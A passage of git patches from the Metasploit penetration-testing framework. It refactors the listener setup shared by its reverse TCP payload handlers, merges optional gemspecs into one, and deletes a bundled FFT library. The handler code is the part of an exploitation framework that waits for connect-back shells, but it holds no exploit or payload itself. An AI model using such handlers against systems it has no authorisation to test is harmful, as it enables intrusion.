a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 0fe2cb45cc..d79efa0a6a 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2936,7 +2936,7 @@ class Core return option_values_payloads() if opt.upcase == 'PAYLOAD' return option_values_targets() if opt.upcase == 'TARGET' return option_values_nops() if opt.upcase == 'NOPS' - return option_values_encoders() if opt.upcase == 'StageEncoder' + return option_values_encoders() if opt.upcase == 'STAGEENCODER' end # Well-known option names specific to modules with actions From 4d8ea7fb5c5673007709472fd790d83640fc0d9f Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 3 Nov 2015 23:03:13 -0600 Subject: [PATCH 1068/2172] Refactor more common stuff out of reverse handlers --- lib/msf/core/handler/reverse.rb | 67 ++++++++++++++++++ lib/msf/core/handler/reverse_tcp.rb | 70 ++----------------- lib/msf/core/handler/reverse_tcp_double.rb | 29 ++------ .../core/handler/reverse_tcp_double_ssl.rb | 32 +++------ 4 files changed, 89 insertions(+), 109 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 43df9d1ec4..c816481b14 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -23,12 +23,79 @@ module Msf ) end + # A list of addresses to attempt to bind, in preferred order. + # + # @return [Array<String>] a two-element array. The first element will be + # the address that `datastore['LHOST']` resolves to, the second will + # be the INADDR_ANY address for IPv4 or IPv6, depending on the version + # of the first element. + def bind_addresses + # Switch to IPv6 ANY address if the LHOST is also IPv6 + addr = Rex::Socket.resolv_nbo(datastore['LHOST']) + # First attempt to bind LHOST. If that fails, the user probably has + # something else listening on that interface. Try again with ANY_ADDR. + any = (addr.length == 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + + addrs + end + # @return [Integer] def bind_port port = datastore['ReverseListenerBindPort'].to_i port > 0 ? port : datastore['LPORT'].to_i end + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] + raise RuntimeError, "TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour." + end + + ex = false + + comm = select_comm + local_port = bind_port + + bind_addresses.each do |ip| + begin + self.listener_sock = Rex::Socket::TcpServer.create( + 'LocalHost' => ip, + 'LocalPort' => local_port, + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") + else + ex = false + + via = via_string_for_ip(ip, comm) + print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") + + break + end + end + raise ex if (ex) + end end end end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index e74c417236..0b72a8b249 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -55,49 +55,6 @@ module ReverseTcp self.conn_threads = [] end - # - # Starts the listener but does not actually attempt - # to accept a connection. Throws socket exceptions - # if it fails to start the listener. - # - def setup_handler - if datastore['Proxies'] and not datastore['ReverseAllowProxy'] - raise RuntimeError, "TCP connect-back payloads cannot be used with Proxies. Use 'set ReverseAllowProxy true' to override this behaviour." - end - - ex = false - - comm = select_comm - local_port = bind_port - addrs = bind_address - - addrs.each { |ip| - begin - - self.listener_sock = Rex::Socket::TcpServer.create( - 'LocalHost' => ip, - 'LocalPort' => local_port, - 'Comm' => comm, - 'Context' => - { - 'Msf' => framework, - 'MsfPayload' => self, - 'MsfExploit' => assoc_exploit - }) - - ex = false - - via = via_string_for_ip(ip, comm) - - print_status("Started reverse handler on #{ip}:#{local_port} #{via}") - break - rescue - ex = $! - print_error("Handler failed to bind to #{ip}:#{local_port}") - end - } - raise ex if (ex) - end # # Closes the listener socket if one was created. @@ -112,6 +69,13 @@ module ReverseTcp } end + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "reverse TCP" + end + # # Starts monitoring for an inbound connection. # @@ -247,26 +211,6 @@ module ReverseTcp protected - def bind_address - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" - - addrs = [ Rex::Socket.addr_ntoa(addr), any ] - - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] - - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end - - addrs - end - attr_accessor :listener_sock # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :handler_thread # :nodoc: diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index 34974c7f3a..d9fe5f9cb5 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -45,26 +45,6 @@ module ReverseTcpDouble end # - # Starts the listener but does not actually attempt - # to accept a connection. Throws socket exceptions - # if it fails to start the listener. - # - def setup_handler - if datastore['Proxies'] and not datastore['ReverseAllowProxy'] - raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' - end - self.listener_sock = Rex::Socket::TcpServer.create( - # 'LocalHost' => datastore['LHOST'], - 'LocalPort' => datastore['LPORT'].to_i, - 'Comm' => select_comm, - 'Context' => - { - 'Msf' => framework, - 'MsfPayload' => self, - 'MsfExploit' => assoc_exploit - }) - end - # # Closes the listener socket if one was created. # @@ -78,6 +58,13 @@ module ReverseTcpDouble } end + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "reverse TCP double" + end + # # Starts monitoring for an inbound connection. # @@ -86,8 +73,6 @@ module ReverseTcpDouble sock_inp = nil sock_out = nil - print_status("Started reverse double handler") - begin # Accept two client connection begin diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index 7289ebb030..8e9b5aed46 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -50,6 +50,13 @@ module ReverseTcpDoubleSSL self.conn_threads = [] end + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "reverse TCP double SSL" + end + # # Starts the listener but does not actually attempt # to accept a connection. Throws socket exceptions @@ -64,9 +71,8 @@ module ReverseTcpDoubleSSL comm = select_comm local_port = bind_port - addrs = bind_address - addrs.each { |ip| + bind_addresses.each { |ip| begin self.listener_sock = Rex::Socket::SslTcpServer.create( @@ -116,8 +122,6 @@ module ReverseTcpDoubleSSL sock_inp = nil sock_out = nil - print_status("Started reverse double handler") - begin # Accept two client connection begin @@ -224,26 +228,6 @@ module ReverseTcpDoubleSSL protected - def bind_address - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" - - addrs = [ Rex::Socket.addr_ntoa(addr), any ] - - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] - - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end - - addrs - end - attr_accessor :listener_sock # :nodoc: attr_accessor :listener_thread # :nodoc: attr_accessor :conn_threads # :nodoc: From 725d61d6e445b1bb436c0d073d6d7bda136bd535 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 7 Oct 2015 16:01:32 -0500 Subject: [PATCH 1069/2172] remove -db / -pcap / -all gemspecs, merge into one --- Gemfile | 8 ------- Gemfile.lock | 18 +++++--------- metasploit-framework-db.gemspec | 39 ------------------------------- metasploit-framework-full.gemspec | 36 ---------------------------- metasploit-framework-pcap.gemspec | 35 --------------------------- metasploit-framework.gemspec | 13 ++++++++++- 6 files changed, 18 insertions(+), 131 deletions(-) delete mode 100644 metasploit-framework-db.gemspec delete mode 100644 metasploit-framework-full.gemspec delete mode 100644 metasploit-framework-pcap.gemspec diff --git a/Gemfile b/Gemfile index 225cadb5e1..1f4033d229 100755 --- a/Gemfile +++ b/Gemfile @@ -11,10 +11,6 @@ group :coverage do gem 'simplecov' end -group :db do - gemspec name: 'metasploit-framework-db' -end - group :development do # Markdown formatting for yard gem 'redcarpet' @@ -38,10 +34,6 @@ group :development, :test do gem 'rspec-rails' , '>= 2.12', '< 3.0.0' end -group :pcap do - gemspec name: 'metasploit-framework-pcap' -end - group :test do # cucumber extension for testing command line applications, like msfconsole gem 'aruba' diff --git a/Gemfile.lock b/Gemfile.lock index c4b48a1c70..72c39f577a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -3,6 +3,7 @@ PATH specs: metasploit-framework (4.11.5) actionpack (>= 4.0.9, < 4.1.0) + activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt filesize @@ -10,11 +11,16 @@ PATH json metasm (~> 1.0.2) metasploit-concern (= 1.0.0) + metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) metasploit-payloads (= 1.0.16) + metasploit_data_models (= 1.2.9) msgpack + network_interface (~> 0.0.1) nokogiri packetfu (= 1.1.11) + pcaprub + pg (>= 0.11) railties rb-readline-r7 recog (= 2.0.14) @@ -22,16 +28,6 @@ PATH rubyzip (~> 1.1) sqlite3 tzinfo - metasploit-framework-db (4.11.5) - activerecord (>= 4.0.9, < 4.1.0) - metasploit-credential (= 1.0.1) - metasploit-framework (= 4.11.5) - metasploit_data_models (= 1.2.9) - pg (>= 0.11) - metasploit-framework-pcap (4.11.5) - metasploit-framework (= 4.11.5) - network_interface (~> 0.0.1) - pcaprub GEM remote: https://rubygems.org/ @@ -242,8 +238,6 @@ DEPENDENCIES factory_girl_rails (~> 4.5.0) fivemat (= 1.2.1) metasploit-framework! - metasploit-framework-db! - metasploit-framework-pcap! pry rake (>= 10.0.0) redcarpet diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec deleted file mode 100644 index c58aad66dc..0000000000 --- a/metasploit-framework-db.gemspec +++ /dev/null @@ -1,39 +0,0 @@ -# coding: utf-8 - -# During build, the Gemfile is temporarily moved and -# we must manually define the project root -if ENV['MSF_ROOT'] - lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) -else - # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers - # require realpaths. - lib = File.realpath(File.expand_path('../lib', __FILE__)) -end - -$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) -require 'metasploit/framework/version' -require 'metasploit/framework/rails_version_constraint' - -Gem::Specification.new do |spec| - spec.name = 'metasploit-framework-db' - spec.version = Metasploit::Framework::GEM_VERSION - spec.authors = ['Metasploit Hackers'] - spec.email = ['metasploit-hackers@lists.sourceforge.net'] - spec.summary = 'metasploit-framework Database dependencies' - spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework' - spec.homepage = 'https://www.metasploit.com' - spec.license = 'BSD-3-clause' - - # no files, just dependencies - spec.files = [] - - spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION - # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '1.0.1' - # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '1.2.9' - # depend on metasploit-framewrok as the optional gems are useless with the actual code - spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" - # Needed for module caching in Mdm::ModuleDetails - spec.add_runtime_dependency 'pg', '>= 0.11' -end diff --git a/metasploit-framework-full.gemspec b/metasploit-framework-full.gemspec deleted file mode 100644 index f3596ec32f..0000000000 --- a/metasploit-framework-full.gemspec +++ /dev/null @@ -1,36 +0,0 @@ -# coding: utf-8 - -# During build, the Gemfile is temporarily moved and -# we must manually define the project root -if ENV['MSF_ROOT'] - lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) -else - # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers - # require realpaths. - lib = File.realpath(File.expand_path('../lib', __FILE__)) -end - -$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) -require 'metasploit/framework/version' -require 'metasploit/framework/rails_version_constraint' - -Gem::Specification.new do |spec| - spec.name = 'metasploit-framework-full' - spec.version = Metasploit::Framework::GEM_VERSION - spec.authors = ['Metasploit Hackers'] - spec.email = ['metasploit-hackers@lists.sourceforge.net'] - spec.summary = 'metasploit-framework with all optional dependencies' - spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework' - spec.homepage = 'https://www.metasploit.com' - spec.license = 'BSD-3-clause' - - # no files, just dependencies - spec.files = [] - - metasploit_framework_version_constraint = "= #{spec.version}" - - spec.add_runtime_dependency 'rails', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION - spec.add_runtime_dependency 'metasploit-framework', metasploit_framework_version_constraint - spec.add_runtime_dependency 'metasploit-framework-db', metasploit_framework_version_constraint - spec.add_runtime_dependency 'metasploit-framework-pcap', metasploit_framework_version_constraint -end diff --git a/metasploit-framework-pcap.gemspec b/metasploit-framework-pcap.gemspec deleted file mode 100644 index d00e9720ce..0000000000 --- a/metasploit-framework-pcap.gemspec +++ /dev/null @@ -1,35 +0,0 @@ -# coding: utf-8 - -# During build, the Gemfile is temporarily moved and -# we must manually define the project root -if ENV['MSF_ROOT'] - lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) -else - # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers - # require realpaths. - lib = File.realpath(File.expand_path('../lib', __FILE__)) -end - -$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) -require 'metasploit/framework/version' - -Gem::Specification.new do |spec| - spec.name = 'metasploit-framework-pcap' - spec.version = Metasploit::Framework::GEM_VERSION - spec.authors = ['Metasploit Hackers'] - spec.email = ['metasploit-hackers@lists.sourceforge.net'] - spec.summary = 'metasploit-framework packet capture dependencies' - spec.description = 'Gems needed to capture packets in metasploit-framework' - spec.homepage = 'https://www.metasploit.com' - spec.license = 'BSD-3-clause' - - # no files, just dependencies - spec.files = [] - - # depend on metasploit-framewrok as the optional gems are useless with the actual code - spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" - # get list of network interfaces, like eth* from OS. - spec.add_runtime_dependency 'network_interface', '~> 0.0.1' - # For sniffer and raw socket modules - spec.add_runtime_dependency 'pcaprub' -end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 2cd9c6bbb7..42ecd12018 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -44,7 +44,8 @@ Gem::Specification.new do |spec| spec.test_files = spec.files.grep(%r{^spec/}) spec.require_paths = ["lib"] - + # Database support + spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Need 3+ for ActiveSupport::Concern spec.add_runtime_dependency 'activesupport', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Needed for config.action_view for view plugin compatibility for Pro @@ -59,6 +60,10 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'metasm', '~> 1.0.2' # Metasploit::Concern hooks spec.add_runtime_dependency 'metasploit-concern', '1.0.0' + # Metasploit::Credential database models + spec.add_runtime_dependency 'metasploit-credential', '1.0.1' + # Database models shared between framework and Pro. + spec.add_runtime_dependency 'metasploit_data_models', '1.2.9' # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' @@ -66,10 +71,16 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'metasploit-payloads', '1.0.16' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' + # get list of network interfaces, like eth* from OS. + spec.add_runtime_dependency 'network_interface', '~> 0.0.1' # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture spec.add_runtime_dependency 'packetfu', '1.1.11' + # For sniffer and raw socket modules + spec.add_runtime_dependency 'pcaprub' + # Needed for module caching in Mdm::ModuleDetails + spec.add_runtime_dependency 'pg', '>= 0.11' # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting From 7c7eb060580099f3bbc9f8b6ba72f0fa3cc43a30 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 4 Nov 2015 08:35:45 -0600 Subject: [PATCH 1070/2172] remove unused kissfft library --- external/ruby-kissfft/Gemfile | 2 - external/ruby-kissfft/LICENSE | 30 -- external/ruby-kissfft/Rakefile | 1 - .../ruby-kissfft/ext/kissfft/_kiss_fft_guts.h | 164 ------- external/ruby-kissfft/ext/kissfft/extconf.rb | 5 - external/ruby-kissfft/ext/kissfft/kiss_fft.c | 408 ------------------ external/ruby-kissfft/ext/kissfft/kiss_fft.h | 124 ------ external/ruby-kissfft/ext/kissfft/kiss_fftr.c | 159 ------- external/ruby-kissfft/ext/kissfft/kiss_fftr.h | 46 -- external/ruby-kissfft/ext/kissfft/main.c | 155 ------- external/ruby-kissfft/kissfft.gemspec | 16 - external/ruby-kissfft/tests/sample.data | Bin 129440 -> 0 bytes external/ruby-kissfft/tests/test_kissfft.rb | 47 -- 13 files changed, 1157 deletions(-) delete mode 100755 external/ruby-kissfft/Gemfile delete mode 100644 external/ruby-kissfft/LICENSE delete mode 100755 external/ruby-kissfft/Rakefile delete mode 100644 external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h delete mode 100644 external/ruby-kissfft/ext/kissfft/extconf.rb delete mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fft.c delete mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fft.h delete mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fftr.c delete mode 100644 external/ruby-kissfft/ext/kissfft/kiss_fftr.h delete mode 100644 external/ruby-kissfft/ext/kissfft/main.c delete mode 100644 external/ruby-kissfft/kissfft.gemspec delete mode 100644 external/ruby-kissfft/tests/sample.data delete mode 100755 external/ruby-kissfft/tests/test_kissfft.rb diff --git a/external/ruby-kissfft/Gemfile b/external/ruby-kissfft/Gemfile deleted file mode 100755 index 1aa98e4b2e..0000000000 --- a/external/ruby-kissfft/Gemfile +++ /dev/null @@ -1,2 +0,0 @@ -source "http://rubygems.org" -gemspec diff --git a/external/ruby-kissfft/LICENSE b/external/ruby-kissfft/LICENSE deleted file mode 100644 index 3ec3bcf60f..0000000000 --- a/external/ruby-kissfft/LICENSE +++ /dev/null @@ -1,30 +0,0 @@ -Kiss FFT library -================== - - -Copyright (c) 2003-2010 Mark Borgerding - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -Ruby wrapper layer -================== - -Copyright (C) 2009-2012 H D Moore < hdm[at]rapid7.com > - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/external/ruby-kissfft/Rakefile b/external/ruby-kissfft/Rakefile deleted file mode 100755 index 29955274e0..0000000000 --- a/external/ruby-kissfft/Rakefile +++ /dev/null @@ -1 +0,0 @@ -require "bundler/gem_tasks" diff --git a/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h b/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h deleted file mode 100644 index ba66144403..0000000000 --- a/external/ruby-kissfft/ext/kissfft/_kiss_fft_guts.h +++ /dev/null @@ -1,164 +0,0 @@ -/* -Copyright (c) 2003-2010, Mark Borgerding - -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -*/ - -/* kiss_fft.h - defines kiss_fft_scalar as either short or a float type - and defines - typedef struct { kiss_fft_scalar r; kiss_fft_scalar i; }kiss_fft_cpx; */ -#include "kiss_fft.h" -#include <limits.h> - -#define MAXFACTORS 32 -/* e.g. an fft of length 128 has 4 factors - as far as kissfft is concerned - 4*4*4*2 - */ - -struct kiss_fft_state{ - int nfft; - int inverse; - int factors[2*MAXFACTORS]; - kiss_fft_cpx twiddles[1]; -}; - -/* - Explanation of macros dealing with complex math: - - C_MUL(m,a,b) : m = a*b - C_FIXDIV( c , div ) : if a fixed point impl., c /= div. noop otherwise - C_SUB( res, a,b) : res = a - b - C_SUBFROM( res , a) : res -= a - C_ADDTO( res , a) : res += a - * */ -#ifdef FIXED_POINT -#if (FIXED_POINT==32) -# define FRACBITS 31 -# define SAMPPROD int64_t -#define SAMP_MAX 2147483647 -#else -# define FRACBITS 15 -# define SAMPPROD int32_t -#define SAMP_MAX 32767 -#endif - -#define SAMP_MIN -SAMP_MAX - -#if defined(CHECK_OVERFLOW) -# define CHECK_OVERFLOW_OP(a,op,b) \ - if ( (SAMPPROD)(a) op (SAMPPROD)(b) > SAMP_MAX || (SAMPPROD)(a) op (SAMPPROD)(b) < SAMP_MIN ) { \ - fprintf(stderr,"WARNING:overflow @ " __FILE__ "(%d): (%d " #op" %d) = %ld\n",__LINE__,(a),(b),(SAMPPROD)(a) op (SAMPPROD)(b) ); } -#endif - - -# define smul(a,b) ( (SAMPPROD)(a)*(b) ) -# define sround( x ) (kiss_fft_scalar)( ( (x) + (1<<(FRACBITS-1)) ) >> FRACBITS ) - -# define S_MUL(a,b) sround( smul(a,b) ) - -# define C_MUL(m,a,b) \ - do{ (m).r = sround( smul((a).r,(b).r) - smul((a).i,(b).i) ); \ - (m).i = sround( smul((a).r,(b).i) + smul((a).i,(b).r) ); }while(0) - -# define DIVSCALAR(x,k) \ - (x) = sround( smul( x, SAMP_MAX/k ) ) - -# define C_FIXDIV(c,div) \ - do { DIVSCALAR( (c).r , div); \ - DIVSCALAR( (c).i , div); }while (0) - -# define C_MULBYSCALAR( c, s ) \ - do{ (c).r = sround( smul( (c).r , s ) ) ;\ - (c).i = sround( smul( (c).i , s ) ) ; }while(0) - -#else /* not FIXED_POINT*/ - -# define S_MUL(a,b) ( (a)*(b) ) -#define C_MUL(m,a,b) \ - do{ (m).r = (a).r*(b).r - (a).i*(b).i;\ - (m).i = (a).r*(b).i + (a).i*(b).r; }while(0) -# define C_FIXDIV(c,div) /* NOOP */ -# define C_MULBYSCALAR( c, s ) \ - do{ (c).r *= (s);\ - (c).i *= (s); }while(0) -#endif - -#ifndef CHECK_OVERFLOW_OP -# define CHECK_OVERFLOW_OP(a,op,b) /* noop */ -#endif - -#define C_ADD( res, a,b)\ - do { \ - CHECK_OVERFLOW_OP((a).r,+,(b).r)\ - CHECK_OVERFLOW_OP((a).i,+,(b).i)\ - (res).r=(a).r+(b).r; (res).i=(a).i+(b).i; \ - }while(0) -#define C_SUB( res, a,b)\ - do { \ - CHECK_OVERFLOW_OP((a).r,-,(b).r)\ - CHECK_OVERFLOW_OP((a).i,-,(b).i)\ - (res).r=(a).r-(b).r; (res).i=(a).i-(b).i; \ - }while(0) -#define C_ADDTO( res , a)\ - do { \ - CHECK_OVERFLOW_OP((res).r,+,(a).r)\ - CHECK_OVERFLOW_OP((res).i,+,(a).i)\ - (res).r += (a).r; (res).i += (a).i;\ - }while(0) - -#define C_SUBFROM( res , a)\ - do {\ - CHECK_OVERFLOW_OP((res).r,-,(a).r)\ - CHECK_OVERFLOW_OP((res).i,-,(a).i)\ - (res).r -= (a).r; (res).i -= (a).i; \ - }while(0) - - -#ifdef FIXED_POINT -# define KISS_FFT_COS(phase) floor(.5+SAMP_MAX * cos (phase)) -# define KISS_FFT_SIN(phase) floor(.5+SAMP_MAX * sin (phase)) -# define HALF_OF(x) ((x)>>1) -#elif defined(USE_SIMD) -# define KISS_FFT_COS(phase) _mm_set1_ps( cos(phase) ) -# define KISS_FFT_SIN(phase) _mm_set1_ps( sin(phase) ) -# define HALF_OF(x) ((x)*_mm_set1_ps(.5)) -#else -# define KISS_FFT_COS(phase) (kiss_fft_scalar) cos(phase) -# define KISS_FFT_SIN(phase) (kiss_fft_scalar) sin(phase) -# define HALF_OF(x) ((x)*.5) -#endif - -#define kf_cexp(x,phase) \ - do{ \ - (x)->r = KISS_FFT_COS(phase);\ - (x)->i = KISS_FFT_SIN(phase);\ - }while(0) - - -/* a debugging function */ -#define pcpx(c)\ - fprintf(stderr,"%g + %gi\n",(double)((c)->r),(double)((c)->i) ) - - -#ifdef KISS_FFT_USE_ALLOCA -// define this to allow use of alloca instead of malloc for temporary buffers -// Temporary buffers are used in two case: -// 1. FFT sizes that have "bad" factors. i.e. not 2,3 and 5 -// 2. "in-place" FFTs. Notice the quotes, since kissfft does not really do an in-place transform. -#include <alloca.h> -#define KISS_FFT_TMP_ALLOC(nbytes) alloca(nbytes) -#define KISS_FFT_TMP_FREE(ptr) -#else -#define KISS_FFT_TMP_ALLOC(nbytes) KISS_FFT_MALLOC(nbytes) -#define KISS_FFT_TMP_FREE(ptr) KISS_FFT_FREE(ptr) -#endif diff --git a/external/ruby-kissfft/ext/kissfft/extconf.rb b/external/ruby-kissfft/ext/kissfft/extconf.rb deleted file mode 100644 index 